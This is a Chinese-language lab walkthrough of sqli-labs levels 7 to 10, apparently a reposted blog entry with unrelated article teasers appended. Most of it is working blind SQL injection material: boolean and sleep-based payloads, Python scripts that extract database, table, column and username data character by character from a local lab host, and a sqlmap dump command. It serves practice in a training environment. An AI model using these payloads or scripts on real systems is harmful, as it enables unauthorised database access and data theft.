sqli-labs(2)

7.

输入?id=1' --+显示格式错误

?id=1" --+正常 测试 ?id=1“ and sleep(5) --+ 发现并没有成功

?id=1') --+显示格式错误继续尝试

?id=1')) --+ 显示正常 测试 ?id=1“ and sleep(5) --+ 发现sleep执行

对于语句闭合的尝试主要从 ' " ()来测试

报错语句尝试发现不回显报错信息只会出现语法错误的信息

发现存在布尔注入

布尔注入即可以根据返回页面判断条件真假的注入

Length()函数 返回字符串的长度
Substr()截取字符串
Ascii()返回字符的ascii码
sleep(n):将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

?id=1')) and (length(database())>7) --+ 页面正常
?id=1')) and (length(database())>8) --+ 页面报错

通过length知道了数据库长度为8

?id=1')) and (substr(database(),1,1)='s') --+

这里写一个布尔盲注脚本

使用这个脚本判读长度

import requests

def getLength():
    for length in range(1, 65):
        payload = f"1')) AND (LENGTH(database())>{length}) -- -"
        url = f'http://192.168.1.200:86/Less-7/?id={payload}'
        rsp = requests.get(url)
        if 'You have an' in rsp.text:
            print('长度:', length)
            break

getLength()

def databasename():
    database_name = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    
    while True:
        for char in charset:
            payload = f"1')) AND (ASCII(SUBSTR(database(), {len(database_name) + 1}, 1))={ord(char)}) --+ "
            url = f'http://192.168.1.200:86/Less-7/?id={payload}'
            rsp = requests.get(url)
            if 'You are in' in rsp.text:
                database_name += char
                print('数据库名:', database_name)
                break
        else:
            break  # 如果没有找到匹配的字符,退出循环
    return database_name

database_name = databasename()
print("最终数据库名:", database_name)

?id=1')) and (substr((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),1,1)='e') --+

通过这个语句我们可以查询表名

脚本

def tablename():
    table_name = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    
    while True:
        for char in charset:
            payload = f"1')) AND (substr((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),{len(table_name) + 1},1) = '{char}') --+ "
            url = f'http://192.168.1.200:86/Less-7/?id={payload}'
            rsp = requests.get(url)
            if 'You are in' in rsp.text:
                table_name += char
                print('数据库名:', table_name)
                break
        else:
            break  # 如果没有找到匹配的字符,退出循环
    return table_name

table_name = tablename()

print("最终数据库名:", table_name)

查字段

?id=1')) and (substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 1,1),1,1) = 'u' ) --+

def Data():
    data = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    
    while True:
        for char in charset:
            payload = f"1')) AND (substr((select username from security.users limit 0,1),{len(data) + 1},1) = '{char}') --+ "
            url = f'http://192.168.1.200:86/Less-7/?id={payload}'
            rsp = requests.get(url)
            if 'You are in' in rsp.text:
                data += char
                print('数据:', data)
                break
        else:
            break  # 如果没有找到匹配的字符,退出循环
    return data

data = Data()

print("最终数据:", data)

总脚本

import requests

def getLength1():
    for length in range(1, 65):
        payload = f"1')) AND (LENGTH(database())>{length}) -- -"
        url = f'http://192.168.1.200:86/Less-7/?id={payload}'
        rsp = requests.get(url)
        if 'You have an' in rsp.text:
            print('长度:', length)
            break
getLength1()

def databasename():
    database_name = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    
    while True:
        for char in charset:
            payload = f"1')) AND (ASCII(SUBSTR(database(), {len(database_name) + 1}, 1))={ord(char)}) --+ "
            url = f'http://192.168.1.200:86/Less-7/?id={payload}'
            rsp = requests.get(url)
            if 'You are in' in rsp.text:
                database_name += char
                print('数据库名:', database_name)
                break
        else:
            break  # 如果没有找到匹配的字符,退出循环
    return database_name

database_name = databasename()

print("最终数据库名:", database_name)
def getTableLength():
    for length in range(1, 65):
        payload = f"1')) AND (LENGTH(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1), 1)) > {length}) --+"
        url = f'http://192.168.1.200:86/Less-7/?id={payload}'
        rsp = requests.get(url)
        if 'You have an' in rsp.text:
            print('表名长度:', length)
            break

getTableLength()

def tablename():
    table_name = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    
    while True:
        for char in charset:
            payload = f"1')) AND (substr((select table_name from information_schema.tables where table_schema = 'security' limit 1,1),{len(table_name) + 1},1) = '{char}') --+ "
            url = f'http://192.168.1.200:86/Less-7/?id={payload}'
            rsp = requests.get(url)
            if 'You are in' in rsp.text:
                table_name += char
                print('表名:', table_name)
                break
        else:
            break  # 如果没有找到匹配的字符,退出循环
    return table_name

table_name = tablename()

print("最终表名:", table_name)

def columnname():
    column_name = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    
    while True:
        for char in charset:
            payload = f"1')) AND (substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 1,1),{len(column_name) + 1},1) = '{char}') --+ "
            url = f'http://192.168.1.200:86/Less-7/?id={payload}'
            rsp = requests.get(url)
            if 'You are in' in rsp.text:
                column_name += char
                print('列名:', column_name)
                break
        else:
            break  # 如果没有找到匹配的字符,退出循环
    return column_name

column_name = columnname()

print("最终列名:", column_name)

def Data():
    data = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    
    while True:
        for char in charset:
            payload = f"1')) AND (substr((select username from security.users limit 0,1),{len(data) + 1},1) = '{char}') --+ "
            url = f'http://192.168.1.200:86/Less-7/?id={payload}'
            rsp = requests.get(url)
            if 'You are in' in rsp.text:
                data += char
                print('数据:', data)
                break
        else:
            break  # 如果没有找到匹配的字符,退出循环
    return data

data = Data()

print("最终数据:", data)

sqlamp

└─# sqlmap -u "http://192.168.1.200:86/Less-7/?id=1" --batch -D security -t users --dump

8.

?id=1' --+正常

sleep正常执行,与上面而言输入错误不会出现提示,还是布尔型注入

def databasename():
    database_name = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    
    while True:
        for char in charset:
            payload = f"1' AND (SUBSTR(database(), {len(database_name) + 1}, 1)='{char}') --+ "
            url = f'http://192.168.1.200:86/Less-8/?id={payload}'
            rsp = requests.get(url)
            if 'You are in' in rsp.text:
                database_name += char
                print('数据库名:', database_name)
                break
        else:
            break  # 如果没有找到匹配的字符,退出循环
    return database_name

database_name = databasename()

脚本就改个url地址和闭合方式

import requests

def getLength1():
    for length in range(1, 65):
        payload = f"1' AND (LENGTH(database())>{length}) -- -"
        url = f'http://192.168.1.200:86/Less-8/?id={payload}'
        rsp = requests.get(url)
        if 'You have an' in rsp.text:
            print('长度:', length)
            break
getLength1()

def databasename():
    database_name = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    
    while True:
        for char in charset:
            payload = f"1' AND (SUBSTR(database(), {len(database_name) + 1}, 1)='{char}') --+ "
            url = f'http://192.168.1.200:86/Less-8/?id={payload}'
            rsp = requests.get(url)
            if 'You are in' in rsp.text:
                database_name += char
                print('数据库名:', database_name)
                break
        else:
            break  # 如果没有找到匹配的字符,退出循环
    return database_name

database_name = databasename()

print("最终数据库名:", database_name)
def getTableLength():
    for length in range(1, 65):
        payload = f"1' AND (LENGTH(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1), 1)) > {length}) --+"
        url = f'http://192.168.1.200:86/Less-8/?id={payload}'
        rsp = requests.get(url)
        if 'You have an' in rsp.text:
            print('表名长度:', length)
            break

getTableLength()

def tablename():
    table_name = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    
    while True:
        for char in charset:
            payload = f"1' AND (substr((select table_name from information_schema.tables where table_schema = 'security' limit 1,1),{len(table_name) + 1},1) = '{char}') --+ "
            url = f'http://192.168.1.200:86/Less-8/?id={payload}'
            rsp = requests.get(url)
            if 'You are in' in rsp.text:
                table_name += char
                print('数据表名:', table_name)
                break
        else:
            break  # 如果没有找到匹配的字符,退出循环
    return table_name

table_name = tablename()

print("最终表名:", table_name)

def columnname():
    column_name = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    
    while True:
        for char in charset:
            payload = f"1' AND (substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 1,1),{len(column_name) + 1},1) = '{char}') --+ "
            url = f'http://192.168.1.200:86/Less-8/?id={payload}'
            rsp = requests.get(url)
            if 'You are in' in rsp.text:
                column_name += char
                print('数据列名:', column_name)
                break
        else:
            break  # 如果没有找到匹配的字符,退出循环
    return column_name

column_name = columnname()

print("最终列名:", column_name)

def Data():
    data = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    
    while True:
        for char in charset:
            payload = f"1' AND (substr((select username from security.users limit 0,1),{len(data) + 1},1) = '{char}') --+ "
            url = f'http://192.168.1.200:86/Less-8/?id={payload}'
            rsp = requests.get(url)
            if 'You are in' in rsp.text:
                data += char
                print('数据:', data)
                break
        else:
            break  # 如果没有找到匹配的字符,退出循环
    return data

data = Data()

print("最终数据:", data)

9.

可以看到不管输入了什么内容返回的都是一句话,布尔注入就用不了了,尝试sleep注入

发现sleep可以执行

通过三元运算符即substr(database(),1,1)='s'如果为true执行sleep 反之返回0

通过对值为a和s页面不同的响应速度我们得到第一个为s

import requests,time
def database():
    database_name = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    while True:
        for char in charset:
            payload = f"1' and if(substr(database(),{len(database_name) + 1},1)='{char}',sleep(2),0) --+"
            url = f"http://192.168.1.200:86/Less-9/?id={payload}"

            start_time = time.time()
            rsp =requests.get(url)
            end_time = time.time()

            rsp_time = end_time - start_time

            if rsp_time >= 2:
                database_name += char
                print(f"数据库名称为:{database_name}")
                break
        else:
            break
    return database_name

datas = database()
print("最终数据库名称为:",datas)

同理测试名表的语句

?id=1' and if(substr((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),1,1)='a',sleep(5),0) --+

?id=1' and if(substr((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),1,1)='e',sleep(5),0) --+

def tablename():
    table_name = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    while True:
        for char in charset:
            payload = f"1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),{len(table_name) +1},1)='{char}',sleep(2),0) --+)"
            url = f"http://192.168.1.200:86/Less-9/?id={payload}"

            start_time = time.time()
            rsp =requests.get(url)
            end_time = time.time()

            rsp_time = end_time - start_time

            if rsp_time >= 2:
                table_name += char
                print(f"表名称为:{table_name}")
                break
        else:
            break
    return table_name
tbales = tablename()
print("最终表名称为:",tbales)

爆破列的语句

?id=1' and if(substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 0,1),1,1)='a',sleep(5),0)--+

?id=1' and if(substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 0,1),1,1)='i',sleep(5),0)--+

def columnname():
    column_name = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    while True:
        for char in charset:
            payload = f"1' and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1),{len(column_name ) +1},1)='{char}',sleep(2),0) --+)"
            url = f"http://192.168.1.200:86/Less-9/?id={payload}"

            start_time = time.time()
            rsp =requests.get(url)
            end_time = time.time()

            rsp_time = end_time - start_time

            if rsp_time >= 2:
                column_name += char
                print(f"列名称为:{column_name}")
                break
        else:
            break
    return column_name
columns = columnname()
print("最终列名称为:",columns)

爆破数据

?id=1' and if(substr((select username from security.users limit 0,1),1,1)='a',sleep(5),0) --+

?id=1' and if(substr((select username from security.users limit 0,1),1,1)='d',sleep(5),0) --+

def data():
    data = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    while True:
        for char in charset:
            payload = f"1' and if(substr((select username from security.users limit 0,1),{len(data) +1},1)='{char}',sleep(2),0) --+"
            url = f"http://192.168.1.200:86/Less-9/?id={payload}"
            
            start_time = time.time()
            rsp =requests.get(url)
            end_time = time.time()

            rsp_time = end_time - start_time

            if rsp_time >= 2:
                data += char
                print(f"数据为:{data}")
                break
        else:
            break
    return data
datas = data()
print("最终数据为:",datas)

总脚本

import requests,time

def database():
    database_name = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    while True:
        for char in charset:
            payload = f"1' and if(substr(database(),{len(database_name) + 1},1)='{char}',sleep(2),0) --+"
            url = f"http://192.168.1.200:86/Less-9/?id={payload}"

            start_time = time.time()
            rsp =requests.get(url)
            end_time = time.time()

            rsp_time = end_time - start_time

            if rsp_time >= 2:
                database_name += char
                print(f"数据库名称为:{database_name}")
                break
        else:
            break
    return database_name

datas = database()
print("最终数据库名称为:",datas)

def tablename():
    table_name = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    while True:
        for char in charset:
            payload = f"1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),{len(table_name) +1},1)='{char}',sleep(2),0) --+)"
            url = f"http://192.168.1.200:86/Less-9/?id={payload}"

            start_time = time.time()
            rsp =requests.get(url)
            end_time = time.time()

            rsp_time = end_time - start_time

            if rsp_time >= 2:
                table_name += char
                print(f"表名称为:{table_name}")
                break
        else: 
            break
    return table_name
tbales = tablename()
print("最终表名称为:",tbales)

def columnname():
    column_name = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    while True:
        for char in charset:
            payload = f"1' and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1),{len(column_name ) +1},1)='{char}',sleep(2),0) --+)"
            url = f"http://192.168.1.200:86/Less-9/?id={payload}"

            start_time = time.time()
            rsp =requests.get(url)
            end_time = time.time()

            rsp_time = end_time - start_time

            if rsp_time >= 2:
                column_name += char
                print(f"列名称为:{column_name}")
                break
        else:
            break
    return column_name
columns = columnname()
print("最终列名称为:",columns)


def data():
    data = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    while True:
        for char in charset:
            payload = f"1' and if(substr((select username from security.users limit 0,1),{len(data) +1},1)='{char}',sleep(2),0) --+"
            url = f"http://192.168.1.200:86/Less-9/?id={payload}"
            
            start_time = time.time()
            rsp =requests.get(url)
            end_time = time.time()

            rsp_time = end_time - start_time

            if rsp_time >= 2:
                data += char
                print(f"数据为:{data}")
                break
        else:
            break
    return data
datas = data()
print("最终数据为:",datas)

10.

闭合方式不同

/?id=1"and sleep(5) --+

def data():
    data = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    while True:
        for char in charset:
            payload = f'1" and if(substr((select username from security.users limit 0,1),{len(data) +1},1)="{char}",sleep(2),0) --+'
            url = f"http://192.168.1.200:86/Less-10/?id={payload}"
            
            start_time = time.time()
            rsp =requests.get(url)
            end_time = time.time()

            rsp_time = end_time - start_time

            

            if rsp_time >= 2:
                data += char
                print(f"数据为:{data}")
                break
        else:
            break
    return data
datas = data()
print("最终数据为:",datas)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/162877.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Solidity基础语法代码2

// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* 哈希算法具有两个特性: 1. 输入值相同,输出值一定相同 2. 不管输入值有多大,输出值是定长的,并且哈希算法是不可逆向运算的 通常把哈希算法用在签名运算&#xff0…

在网页中添加水印的实现方法

在网页设计中,为了保护内容的版权以及增加一些特殊效果,经常需要在页面上添加水印。本文将介绍一种通过Canvas和JavaScript实现在网页上添加水印的方法。 功能: 允许自定义水印内容、字体颜色可以防止用户删除水印元素、修改样式等其他手段…

基于原子搜索算法优化概率神经网络PNN的分类预测 - 附代码

基于原子搜索算法优化概率神经网络PNN的分类预测 - 附代码 文章目录 基于原子搜索算法优化概率神经网络PNN的分类预测 - 附代码1.PNN网络概述2.变压器故障诊街系统相关背景2.1 模型建立 3.基于原子搜索优化的PNN网络5.测试结果6.参考文献7.Matlab代码 摘要:针对PNN神…

windows安装Git【超详细图解】

目录 git安装地址 git配置 提交代码时使用的命令 git安装地址 Git for WindowsWe bring the awesome Git VCS to Windowshttps://gitforwindows.org/ 打开终端,输入git --version git配置 git config --global user.name "用户名" git config --g…

镀膜与干刻中的平均自由程是什么?

在芯片制造中,镀膜和干刻是其中的重要环节,通常要用到CVD,RIE等技术,对材料表面进行纳米级的精细操作。在这些工序中,原子,分子,离子等,会在气体或真空中进行自由运动,直…

基础模型的自然语言处理能力综述

NLP作为一个领域为基础模型开辟了道路。虽然这些模型在标准基准测试中占据主导地位,但这些模型目前获得的能力与那些将语言描述为人类交流和思维的复杂系统的能力之间存在明显的差距。针对这一点,我们强调语言变异的全部范围(例如&#xff0c…

Yolov5安装运行过程中出现的问题

Yolov5安装运行过程中出现的问题合集 安装问题pip 安装 requirements.txtcmd下如何退出python&#xff1f;升级numpy protobuf版本过高AttributeError: Can’t get attribute ‘SPPF’ on <module ‘models.common’ from 地址找不到图片NameError: name warnings is not de…

想要精通算法和SQL的成长之路 - 摩尔投票法的运用

想要精通算法和SQL的成长之路 - 摩尔投票法的运用 前言一. 多数元素1.1 摩尔投票法 二. 多数元素II2.1 分析 前言 想要精通算法和SQL的成长之路 - 系列导航 一. 多数元素 原题链接 1.1 摩尔投票法 简单来说&#xff0c;假设数组 num 的众数是 x&#xff0c;数组长度为n。 有…

基于Java+SpringBoot+Vue3+Uniapp+TypeScript(有视频教程)前后端分离健身预约系统设计与实现

博主介绍&#xff1a;✌全网粉丝5W&#xff0c;全栈开发工程师&#xff0c;从事多年软件开发&#xff0c;在大厂呆过。持有软件中级、六级等证书。可提供微服务项目搭建与毕业项目实战&#xff0c;博主也曾写过优秀论文&#xff0c;查重率极低&#xff0c;在这方面有丰富的经验…

UE5制作场景时的小技巧和注意事项

UE5制作场景时的小技巧和注意事项 一、场景相关 1.1灯光 1.1.1构建完光照,发现场景都是黑的 可能是所有灯光是静态灯光,把skylight改为动态,如果改完之后还是黑色的,那就在构建一次,就应该没问题了 1.1.2场景中有多个动态光会造成阴影闪烁 需要将skylight变为固定 1…

C语言之for while语句详解

C语言之for while语句详解 文章目录 C语言之for while语句详解简介1 while语句1.1while语句的格式1.2 while语句的实践 2 for2.1 for语句格式2.2 for循环的实践 3 do while3.1 do while语句格式3.2 do while循环的实践 3 循环中break和continue3.1 while语句中的break和continu…

STM32与ZigBee无线通信技术在工业自动化中的应用

工业自动化是指利用电子技术、计算机技术和通信技术等手段&#xff0c;对工厂、设备和生产过程进行自动化控制和管理的过程。在工业自动化中&#xff0c;可靠的无线通信技术对于实时数据的传输和设备的协同控制至关重要。本文将介绍STM32微控制器与ZigBee无线通信技术在工业自动…

君正X2100 读取CHIP_ID

每个处理器会有一个唯一的ID&#xff0c;这个ID可用做产品序列号&#xff0c;或其它。 X21000的CHIP_ID存放于芯片内部的efuse中&#xff0c;efuse是一次性可可编程存储器&#xff0c;初始值为全0&#xff0c;只能将0改为1&#xff0c;不能将1改为0。芯片出厂前会被写入一些信…

WPF中行为与触发器的概念及用法

完全来源于十月的寒流&#xff0c;感谢大佬讲解 一、行为 (Behaviors) behaviors的简单测试 <Window x:Class"Test_05.MainWindow"xmlns"http://schemas.microsoft.com/winfx/2006/xaml/presentation"xmlns:x"http://schemas.microsoft.com/winf…

STL简介

> 作者简介&#xff1a;დ旧言~&#xff0c;目前大二&#xff0c;现在学习Java&#xff0c;c&#xff0c;c&#xff0c;Python等 > 座右铭&#xff1a;松树千年终是朽&#xff0c;槿花一日自为荣。 > 目标&#xff1a;了解c中的STL库 > 毒鸡汤&#xff1a;路难行&a…

22款奔驰S450L升级流星雨大灯 感受最高配的数字大灯

“流星雨”数字大灯&#xff0c;极具辨识度&#xff0c;通过260万像素的数字微镜技术&#xff0c;实现“流星雨”仪式感与高度精确的光束分布&#xff1b;在远光灯模式下&#xff0c;光束精准度更达之前84颗LED照明的100倍&#xff0c;更新增坡道照明功能&#xff0c;可根据导航…

UE 程序化网格 计算横截面 面积

首先在构造函数内加上程序化网格&#xff0c;然后复制网格体到程序化网格组件上&#xff0c;将Static Mesh&#xff08;类型StaticMeshActor&#xff09;的静态网格体组件给到程序化网格体上 然后把StaticMesh&#xff08;类型为StaticMeshActor&#xff09;Instance暴漏出去 …

原型网络Prototypical Network的python代码逐行解释,新手小白也可学会!!-----系列6 (承接系列5)

文章目录 一、原始代码---随机采样和评估模型二、详细解释分析每一行代码 一、原始代码—随机采样和评估模型 def randomSample(self,D_set): #从D_set随机取支持集和查询集&#xff08;20个类中的其中一个类&#xff0c;shape为[20,105,105]&#xff09;index_list list(ran…

复旦大学EMBA深度链接深圳科创产业:聚焦智联,产融未来

作为科创成就的经济大区&#xff0c;深圳南山区通过跨界创新研发生态链条&#xff0c;领跑科创产业创新&#xff0c;以187.5平方公里的面积&#xff0c;雄踞着204家上市公司&#xff0c;地均生产总值产出达到了40.7亿元&#xff0c;相当于每平方公里出产超过1家上市公司&#x…

Java项目实战《苍穹外卖》 二、项目搭建

当我痛苦地站在你的面前 你不能说我一无所有 你不能说我两手空空 系列文章目录 苍穹外卖是黑马程序员2023年的Java实战项目&#xff0c;作为业余练手用&#xff0c;需要源码或者课程的可以找我&#xff0c;无偿分享 Java项目实战《苍穹外卖》 一、项目概述Java项目实战《苍穹外…